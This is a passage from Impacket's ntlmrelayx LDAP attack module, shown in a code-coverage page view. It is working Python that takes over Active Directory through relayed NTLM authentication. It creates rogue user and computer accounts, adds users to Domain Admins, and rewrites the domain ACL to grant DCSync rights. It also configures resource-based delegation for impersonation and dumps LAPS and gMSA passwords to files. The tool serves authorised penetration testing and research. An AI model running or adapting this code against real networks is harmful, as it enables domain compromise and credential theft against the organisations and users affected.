Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# LDAP Attack Class 

11# LDAP(s) protocol relay attack 

12# 

13# Authors: 

14# Alberto Solino (@agsolino) 

15# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 

16# 

17import _thread 

18import random 

19import string 

20import json 

21import datetime 

22import binascii 

23import codecs 

24import re 

25import ldap3 

26import ldapdomaindump 

27from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM 

28from ldap3.utils.conv import escape_filter_chars 

29import os 

30from Cryptodome.Hash import MD4 

31 

32from impacket import LOG 

33from impacket.examples.ldap_shell import LdapShell 

34from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 

35from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell 

36from impacket.ldap import ldaptypes 

37from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP 

38from impacket.uuid import string_to_bin, bin_to_string 

39from impacket.structure import Structure, hexdump 

40 

41# This is new from ldap3 v2.5 

42try: 

43 from ldap3.protocol.microsoft import security_descriptor_control 

44except ImportError: 

45 # We use a print statement because the logger is not initialized yet here 

46 print("Failed to import required functions from ldap3. ntlmrelayx requires ldap3 >= 2.5.0. \ 

47Please update with 'python -m pip install ldap3 --upgrade'") 

48PROTOCOL_ATTACK_CLASS = "LDAPAttack" 

49 

50# Define global variables to prevent dumping the domain twice 

51# and to prevent privilege escalating more than once 

52dumpedDomain = False 

53alreadyEscalated = False 

54alreadyAddedComputer = False 

55delegatePerformed = [] 

56 

57#gMSA structure 

58class MSDS_MANAGEDPASSWORD_BLOB(Structure): 

59 structure = ( 

60 ('Version','<H'), 

61 ('Reserved','<H'), 

62 ('Length','<L'), 

63 ('CurrentPasswordOffset','<H'), 

64 ('PreviousPasswordOffset','<H'), 

65 ('QueryPasswordIntervalOffset','<H'), 

66 ('UnchangedPasswordIntervalOffset','<H'), 

67 ('CurrentPassword',':'), 

68 ('PreviousPassword',':'), 

69 #('AlignmentPadding',':'), 

70 ('QueryPasswordInterval',':'), 

71 ('UnchangedPasswordInterval',':'), 

72 ) 

73 

74 def __init__(self, data = None): 

75 Structure.__init__(self, data = data) 

76 

77 def fromString(self, data): 

78 Structure.fromString(self,data) 

79 

80 if self['PreviousPasswordOffset'] == 0: 

81 endData = self['QueryPasswordIntervalOffset'] 

82 else: 

83 endData = self['PreviousPasswordOffset'] 

84 

85 self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']] 

86 if self['PreviousPasswordOffset'] != 0: 

87 self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']] 

88 

89 self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']] 

90 self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:] 

91 

92 

93class LDAPAttack(ProtocolAttack): 

94 """ 

95 This is the default LDAP attack. It checks the privileges of the relayed account 

96 and performs a domaindump if the user does not have administrative privileges. 

97 If the user is an Enterprise or Domain admin, a new user is added to escalate to DA. 

98 """ 

99 PLUGIN_NAMES = ["LDAP", "LDAPS"] 

100 

101 # ACL constants 

102 # When reading, these constants are actually represented by 

103 # the following for Active Directory specific Access Masks 

104 # Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2 

105 GENERIC_READ = 0x00020094 

106 GENERIC_WRITE = 0x00020028 

107 GENERIC_EXECUTE = 0x00020004 

108 GENERIC_ALL = 0x000F01FF 

109 

110 def __init__(self, config, LDAPClient, username): 

111 self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer 

112 ProtocolAttack.__init__(self, config, LDAPClient, username) 

113 if self.config.interactive: 

114 # Launch locally listening interactive shell. 

115 self.tcp_shell = TcpShell() 

116 

117 def addComputer(self, parent, domainDumper): 

118 """ 

119 Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can 

120 also be an OU or other container where we have write privileges 

121 """ 

122 global alreadyAddedComputer 

123 if alreadyAddedComputer: 

124 LOG.error('New computer already added. Refusing to add another') 

125 return 

126 

127 # Random password 

128 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

129 

130 # Get the domain we are in 

131 domaindn = domainDumper.root 

132 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] 

133 

134 computerName = self.computerName 

135 if not computerName: 

136 # Random computername 

137 newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() 

138 else: 

139 newComputer = computerName if computerName.endswith('$') else computerName + '$' 

140 

141 computerHostname = newComputer[:-1] 

142 newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') 

143 

144 # Default computer SPNs 

145 spns = [ 

146 'HOST/%s' % computerHostname, 

147 'HOST/%s.%s' % (computerHostname, domain), 

148 'RestrictedKrbHost/%s' % computerHostname, 

149 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), 

150 ] 

151 ucd = { 

152 'dnsHostName': '%s.%s' % (computerHostname, domain), 

153 'userAccountControl': 4096, 

154 'servicePrincipalName': spns, 

155 'sAMAccountName': newComputer, 

156 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') 

157 } 

158 LOG.debug('New computer info %s', ucd) 

159 LOG.info('Attempting to create computer in: %s', parent) 

160 res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd) 

161 if not res: 

162 # Adding computers requires LDAPS 

163 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 

164 LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.') 

165 else: 

166 LOG.error('Failed to add a new computer: %s' % str(self.client.result)) 

167 return False 

168 else: 

169 LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) 

170 alreadyAddedComputer = True 

171 # Return the SAM name 

172 return newComputer 

173 

174 def addUser(self, parent, domainDumper): 

175 """ 

176 Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can 

177 also be an OU or other container where we have write privileges 

178 """ 

179 global alreadyEscalated 

180 if alreadyEscalated: 

181 LOG.error('New user already added. Refusing to add another') 

182 return 

183 

184 # Random password 

185 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

186 

187 # Random username 

188 newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) 

189 newUserDn = 'CN=%s,%s' % (newUser, parent) 

190 ucd = { 

191 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 

192 'distinguishedName': newUserDn, 

193 'cn': newUser, 

194 'sn': newUser, 

195 'givenName': newUser, 

196 'displayName': newUser, 

197 'name': newUser, 

198 'userAccountControl': 512, 

199 'accountExpires': '0', 

200 'sAMAccountName': newUser, 

201 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') 

202 } 

203 LOG.info('Attempting to create user in: %s', parent) 

204 res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd) 

205 if not res: 

206 # Adding users requires LDAPS 

207 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 

208 LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') 

209 else: 

210 LOG.error('Failed to add a new user: %s' % str(self.client.result)) 

211 return False 

212 else: 

213 LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword)) 

214 

215 # Return the DN 

216 return newUserDn 

217 

218 def addUserToGroup(self, userDn, domainDumper, groupDn): 

219 global alreadyEscalated 

220 # For display only 

221 groupName = groupDn.split(',')[0][3:] 

222 userName = userDn.split(',')[0][3:] 

223 # Now add the user as a member to this group 

224 res = self.client.modify(groupDn, { 

225 'member': [(ldap3.MODIFY_ADD, [userDn])]}) 

226 if res: 

227 LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) 

228 LOG.info('Privilege escalation succesful, shutting down...') 

229 alreadyEscalated = True 

230 _thread.interrupt_main() 

231 else: 

232 LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result))) 

233 

234 def delegateAttack(self, usersam, targetsam, domainDumper, sid): 

235 global delegatePerformed 

236 if targetsam in delegatePerformed: 

237 LOG.info('Delegate attack already performed for this computer, skipping') 

238 return 

239 

240 if not usersam: 

241 usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) 

242 self.config.escalateuser = usersam 

243 

244 if not sid: 

245 # Get escalate user sid 

246 result = self.getUserInfo(domainDumper, usersam) 

247 if not result: 

248 LOG.error('User to escalate does not exist!') 

249 return 

250 escalate_sid = str(result[1]) 

251 else: 

252 escalate_sid = usersam 

253 

254 # Get target computer DN 

255 result = self.getUserInfo(domainDumper, targetsam) 

256 if not result: 

257 LOG.error('Computer to modify does not exist! (wrong domain?)') 

258 return 

259 target_dn = result[0] 

260 

261 self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) 

262 targetuser = None 

263 for entry in self.client.response: 

264 if entry['type'] != 'searchResEntry': 

265 continue 

266 targetuser = entry 

267 if not targetuser: 

268 LOG.error('Could not query target user properties') 

269 return 

270 try: 

271 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) 

272 LOG.debug('Currently allowed sids:') 

273 for ace in sd['Dacl'].aces: 

274 LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) 

275 except IndexError: 

276 # Create DACL manually 

277 sd = create_empty_sd() 

278 sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) 

279 self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) 

280 if self.client.result['result'] == 0: 

281 LOG.info('Delegation rights modified succesfully!') 

282 LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) 

283 delegatePerformed.append(targetsam) 

284 else: 

285 if self.client.result['result'] == 50: 

286 LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

287 elif self.client.result['result'] == 19: 

288 LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

289 else: 

290 LOG.error('The server returned an error: %s', self.client.result['message']) 

291 return 

292 

293 def aclAttack(self, userDn, domainDumper): 

294 global alreadyEscalated 

295 if alreadyEscalated: 

296 LOG.error('ACL attack already performed. Refusing to continue') 

297 return 

298 

299 # Dictionary for restore data 

300 restoredata = {} 

301 

302 # Query for the sid of our user 

303 try: 

304 self.client.search(userDn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid']) 

305 entry = self.client.entries[0] 

306 except IndexError: 

307 LOG.error('Could not retrieve infos for user: %s' % userDn) 

308 return 

309 username = entry['sAMAccountName'].value 

310 usersid = entry['objectSid'].value 

311 LOG.debug('Found sid for user %s: %s' % (username, usersid)) 

312 

313 # Set SD flags to only query for DACL 

314 controls = security_descriptor_control(sdflags=0x04) 

315 alreadyEscalated = True 

316 

317 LOG.info('Querying domain security descriptor') 

318 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) 

319 entry = self.client.entries[0] 

320 secDescData = entry['nTSecurityDescriptor'].raw_values[0] 

321 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) 

322 

323 # Save old SD for restore purposes 

324 restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') 

325 restoredata['target_sid'] = usersid 

326 

327 secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) 

328 secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) 

329 dn = entry.entry_dn 

330 data = secDesc.getData() 

331 self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) 

332 if self.client.result['result'] == 0: 

333 alreadyEscalated = True 

334 LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) 

335 LOG.info('Try using DCSync with secretsdump.py and this user :)') 

336 

337 # Query the SD again to see what AD made of it 

338 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) 

339 entry = self.client.entries[0] 

340 newSD = entry['nTSecurityDescriptor'].raw_values[0] 

341 # Save this to restore the SD later on 

342 restoredata['target_dn'] = dn 

343 restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') 

344 restoredata['success'] = True 

345 self.writeRestoreData(restoredata, dn) 

346 return True 

347 else: 

348 LOG.error('Error when updating ACL: %s' % self.client.result) 

349 return False 

350 

351 def writeRestoreData(self, restoredata, domaindn): 

352 output = {} 

353 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] 

354 output['config'] = {'server':self.client.server.host,'domain':domain} 

355 output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}] 

356 now = datetime.datetime.now() 

357 filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S") 

358 # Save the json to file 

359 with codecs.open(filename, 'w', 'utf-8') as outfile: 

360 json.dump(output, outfile) 

361 LOG.info('Saved restore state to %s', filename) 

362 

363 def validatePrivileges(self, uname, domainDumper): 

364 # Find the user's DN 

365 membersids = [] 

366 sidmapping = {} 

367 privs = { 

368 'create': False, # Whether we can create users 

369 'createIn': None, # Where we can create users 

370 'escalateViaGroup': False, # Whether we can escalate via a group 

371 'escalateGroup': None, # The group we can escalate via 

372 'aclEscalate': False, # Whether we can escalate via ACL on the domain object 

373 'aclEscalateIn': None # The object which ACL we can edit 

374 } 

375 self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) 

376 user = self.client.entries[0] 

377 usersid = user['objectSid'].value 

378 sidmapping[usersid] = user.entry_dn 

379 membersids.append(usersid) 

380 # The groups the user is a member of 

381 self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) 

382 LOG.debug('User is a member of: %s' % self.client.entries) 

383 for entry in self.client.entries: 

384 sidmapping[entry['objectSid'].value] = entry.entry_dn 

385 membersids.append(entry['objectSid'].value) 

386 # Also search by primarygroupid 

387 # First get domain SID 

388 self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) 

389 domainsid = self.client.entries[0]['objectSid'].value 

390 gid = user['primaryGroupId'].value 

391 # Now search for this group by SID 

392 self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) 

393 group = self.client.entries[0] 

394 LOG.debug('User is a member of: %s' % self.client.entries) 

395 # Add the group sid of the primary group to the list 

396 sidmapping[group['objectSid'].value] = group.entry_dn 

397 membersids.append(group['objectSid'].value) 

398 controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl 

399 # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs 

400 entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) 

401 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) 

402 # Also get the privileges on the default Users container 

403 entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) 

404 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) 

405 

406 # Interesting groups we'd like to be a member of, in order of preference 

407 interestingGroups = [ 

408 '%s-%d' % (domainsid, 519), # Enterprise admins 

409 '%s-%d' % (domainsid, 512), # Domain admins 

410 'S-1-5-32-544', # Built-in Administrators 

411 'S-1-5-32-551', # Backup operators 

412 'S-1-5-32-548', # Account operators 

413 ] 

414 privs['escalateViaGroup'] = False 

415 for group in interestingGroups: 

416 self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls) 

417 groupdata = self.client.response 

418 self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) 

419 if privs['escalateViaGroup']: 

420 # We have a result - exit the loop 

421 break 

422 return (usersid, privs) 

423 

424 def getUserInfo(self, domainDumper, samname): 

425 entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) 

426 try: 

427 dn = self.client.entries[0].entry_dn 

428 sid = self.client.entries[0]['objectSid'] 

429 return (dn, sid) 

430 except IndexError: 

431 LOG.error('User not found in LDAP: %s' % samname) 

432 return False 

433 

434 def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper): 

435 standardrights = [ 

436 self.GENERIC_ALL, 

437 self.GENERIC_WRITE, 

438 self.GENERIC_READ, 

439 ACCESS_MASK.WRITE_DACL 

440 ] 

441 for entry in entries: 

442 if entry['type'] != 'searchResEntry': 

443 continue 

444 dn = entry['dn'] 

445 try: 

446 sdData = entry['raw_attributes']['nTSecurityDescriptor'][0] 

447 except IndexError: 

448 # We don't have the privileges to read this security descriptor 

449 LOG.debug('Access to security descriptor was denied for DN %s', dn) 

450 continue 

451 hasFullControl = False 

452 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() 

453 secDesc.fromString(sdData) 

454 if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids: 

455 sid = secDesc['OwnerSid'].formatCanonical() 

456 LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid])) 

457 hasFullControl = True 

458 # Iterate over all the ACEs 

459 for ace in secDesc['Dacl'].aces: 

460 sid = ace['Ace']['Sid'].formatCanonical() 

461 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE: 

462 continue 

463 if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE): 

464 # ACE is set on this object, but only inherited, so not applicable to us 

465 continue 

466 

467 # Check if the ACE has restrictions on object type (inherited case) 

468 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ 

469 and ace.hasFlag(ACE.INHERITED_ACE) \ 

470 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT): 

471 # Verify if the ACE applies to this object type 

472 inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower() 

473 if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]): 

474 continue 

475 # Check for non-extended rights that may not apply to us 

476 if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL): 

477 # Check if this applies to our objecttype 

478 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): 

479 objectType = bin_to_string(ace['Ace']['ObjectType']).lower() 

480 if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]): 

481 # LOG.debug('ACE does not apply, only to %s', objectType) 

482 continue 

483 if sid in membersids: 

484 # Generic all 

485 if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL): 

486 ace.dump() 

487 LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid])) 

488 hasFullControl = True 

489 if can_create_users(ace) or hasFullControl: 

490 if not hasFullControl: 

491 LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 

492 if dn == 'CN=Users,%s' % domainDumper.root: 

493 # We can create users in the default container, this is preferred 

494 privs['create'] = True 

495 privs['createIn'] = dn 

496 else: 

497 # Could be a different OU where we have access 

498 # store it until we find a better place 

499 if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']: 

500 privs['create'] = True 

501 privs['createIn'] = dn 

502 if can_add_member(ace) or hasFullControl: 

503 if b'group' in entry['raw_attributes']['objectClass']: 

504 # We can add members to a group 

505 if not hasFullControl: 

506 LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 

507 privs['escalateViaGroup'] = True 

508 privs['escalateGroup'] = dn 

509 if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl: 

510 # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to 

511 # a property, which is both weird and useless, so we skip it 

512 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ 

513 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): 

514 # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set') 

515 continue 

516 if not hasFullControl: 

517 LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 

518 # We can modify the domain Dacl 

519 if b'domain' in entry['raw_attributes']['objectClass']: 

520 privs['aclEscalate'] = True 

521 privs['aclEscalateIn'] = dn 

522 

523 @staticmethod 

524 def aceApplies(ace_guid, object_class): 

525 ''' 

526 Checks if an ACE applies to this object (based on object classes). 

527 Note that this function assumes you already verified that InheritedObjectType is set (via the flag). 

528 If this is not set, the ACE applies to all object types. 

529 ''' 

530 try: 

531 our_ace_guid = OBJECTTYPE_GUID_MAP[object_class] 

532 except KeyError: 

533 return False 

534 if ace_guid == our_ace_guid: 

535 return True 

536 # If none of these match, the ACE does not apply to this object 

537 return False 

538 

539 

540 def run(self): 

541 #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') 

542 #print self.client.entries 

543 global dumpedDomain 

544 # Set up a default config 

545 domainDumpConfig = ldapdomaindump.domainDumpConfig() 

546 

547 # Change the output directory to configured rootdir 

548 domainDumpConfig.basepath = self.config.lootdir 

549 

550 # Create new dumper object 

551 domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) 

552 

553 if self.config.interactive: 

554 if self.tcp_shell is not None: 

555 LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) 

556 # Start listening and launch interactive shell. 

557 self.tcp_shell.listen() 

558 ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client) 

559 ldap_shell.cmdloop() 

560 return 

561 

562 # If specified validate the user's privileges. This might take a while on large domains but will 

563 # identify the proper containers for escalating via the different techniques. 

564 if self.config.validateprivs: 

565 LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains') 

566 userSid, privs = self.validatePrivileges(self.username, domainDumper) 

567 if privs['create']: 

568 LOG.info('User privileges found: Create user') 

569 if privs['escalateViaGroup']: 

570 name = privs['escalateGroup'].split(',')[0][3:] 

571 LOG.info('User privileges found: Adding user to a privileged group (%s)' % name) 

572 if privs['aclEscalate']: 

573 LOG.info('User privileges found: Modifying domain ACL') 

574 

575 # If validation of privileges is not desired, we assumed that the user has permissions to escalate 

576 # an existing user via ACL attacks. 

577 else: 

578 LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack') 

579 privs = dict() 

580 privs['create'] = False 

581 privs['aclEscalate'] = True 

582 privs['escalateViaGroup'] = False 

583 

584 # We prefer ACL escalation since it is more quiet 

585 if self.config.aclattack and privs['aclEscalate']: 

586 LOG.debug('Performing ACL attack') 

587 if self.config.escalateuser: 

588 # We can escalate an existing user 

589 result = self.getUserInfo(domainDumper, self.config.escalateuser) 

590 # Unless that account does not exist of course 

591 if not result: 

592 LOG.error('Unable to escalate without a valid user.') 

593 else: 

594 userDn, userSid = result 

595 # Perform the ACL attack 

596 self.aclAttack(userDn, domainDumper) 

597 elif privs['create']: 

598 # Create a nice shiny new user for the escalation 

599 userDn = self.addUser(privs['createIn'], domainDumper) 

600 if not userDn: 

601 LOG.error('Unable to escalate without a valid user.') 

602 # Perform the ACL attack 

603 else: 

604 self.aclAttack(userDn, domainDumper) 

605 else: 

606 LOG.error('Cannot perform ACL escalation because we do not have create user '\ 

607 'privileges. Specify a user to assign privileges to with --escalate-user') 

608 

609 # If we can't ACL escalate, try adding us to a privileged group 

610 if self.config.addda and privs['escalateViaGroup']: 

611 LOG.debug('Performing Group attack') 

612 if self.config.escalateuser: 

613 # We can escalate an existing user 

614 result = self.getUserInfo(domainDumper, self.config.escalateuser) 

615 # Unless that account does not exist of course 

616 if not result: 

617 LOG.error('Unable to escalate without a valid user.') 

618 # Perform the Group attack 

619 else: 

620 userDn, userSid = result 

621 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) 

622 

623 elif privs['create']: 

624 # Create a nice shiny new user for the escalation 

625 userDn = self.addUser(privs['createIn'], domainDumper) 

626 if not userDn: 

627 LOG.error('Unable to escalate without a valid user, aborting.') 

628 # Perform the Group attack 

629 else: 

630 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) 

631 

632 else: 

633 LOG.error('Cannot perform ACL escalation because we do not have create user '\ 

634 'privileges. Specify a user to assign privileges to with --escalate-user') 

635 

636 # Dump LAPS Passwords 

637 if self.config.dumplaps: 

638 LOG.info("Attempting to dump LAPS passwords") 

639 

640 success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd']) 

641 

642 if success: 

643 

644 fd = None 

645 filename = "laps-dump-" + self.username + "-" + str(random.randint(0, 99999)) 

646 count = 0 

647 

648 for entry in self.client.response: 

649 try: 

650 dn = "DN:" + entry['attributes']['distinguishedname'] 

651 passwd = "Password:" + entry['attributes']['ms-MCS-AdmPwd'] 

652 

653 if fd is None: 

654 fd = open(filename, "a+") 

655 

656 count += 1 

657 

658 LOG.debug(dn) 

659 LOG.debug(passwd) 

660 

661 fd.write(dn) 

662 fd.write("\n") 

663 fd.write(passwd) 

664 fd.write("\n") 

665 

666 except: 

667 continue 

668 

669 if fd is None: 

670 LOG.info("The relayed user %s does not have permissions to read any LAPS passwords" % self.username) 

671 else: 

672 LOG.info("Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username)) 

673 fd.close() 

674 

675 #Dump gMSA Passwords 

676 if self.config.dumpgmsa: 

677 LOG.info("Attempting to dump gMSA passwords") 

678 success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword']) 

679 if success: 

680 fd = None 

681 filename = "gmsa-dump-" + self.username + "-" + str(random.randint(0, 99999)) 

682 count = 0 

683 for entry in self.client.response: 

684 try: 

685 sam = entry['attributes']['sAMAccountName'] 

686 data = entry['attributes']['msDS-ManagedPassword'] 

687 blob = MSDS_MANAGEDPASSWORD_BLOB() 

688 blob.fromString(data) 

689 hash = MD4.new () 

690 hash.update (blob['CurrentPassword'][:-2]) 

691 passwd = binascii.hexlify(hash.digest()).decode("utf-8") 

692 userpass = sam + ':::' + passwd 

693 LOG.info(userpass) 

694 count += 1 

695 if fd is None: 

696 fd = open(filename, "a+") 

697 fd.write(userpass) 

698 fd.write("\n") 

699 except: 

700 continue 

701 if fd is None: 

702 LOG.info("The relayed user %s does not have permissions to read any gMSA passwords" % self.username) 

703 else: 

704 LOG.info("Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username)) 

705 fd.close() 

706 

707 # Perform the Delegate attack if it is enabled and we relayed a computer account 

708 if self.config.delegateaccess and self.username[-1] == '$': 

709 self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) 

710 return 

711 

712 # Add a new computer if that is requested 

713 # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota 

714 if self.config.addcomputer: 

715 self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects']) 

716 # Computer well-known GUID 

717 # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen 

718 computerscontainer = [ 

719 entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"] 

720 if b"AA312825768811D1ADED00C04FD8D5CD" in entry 

721 ][0] 

722 LOG.debug("Computer container is {}".format(computerscontainer)) 

723 self.addComputer(computerscontainer, domainDumper) 

724 return 

725 

726 # Last attack, dump the domain if no special privileges are present 

727 if not dumpedDomain and self.config.dumpdomain: 

728 # Do this before the dump is complete because of the time this can take 

729 dumpedDomain = True 

730 LOG.info('Dumping domain info for first time') 

731 domainDumper.domainDump() 

732 LOG.info('Domain info dumped into lootdir!') 

733 

734# Create an object ACE with the specified privguid and our sid 

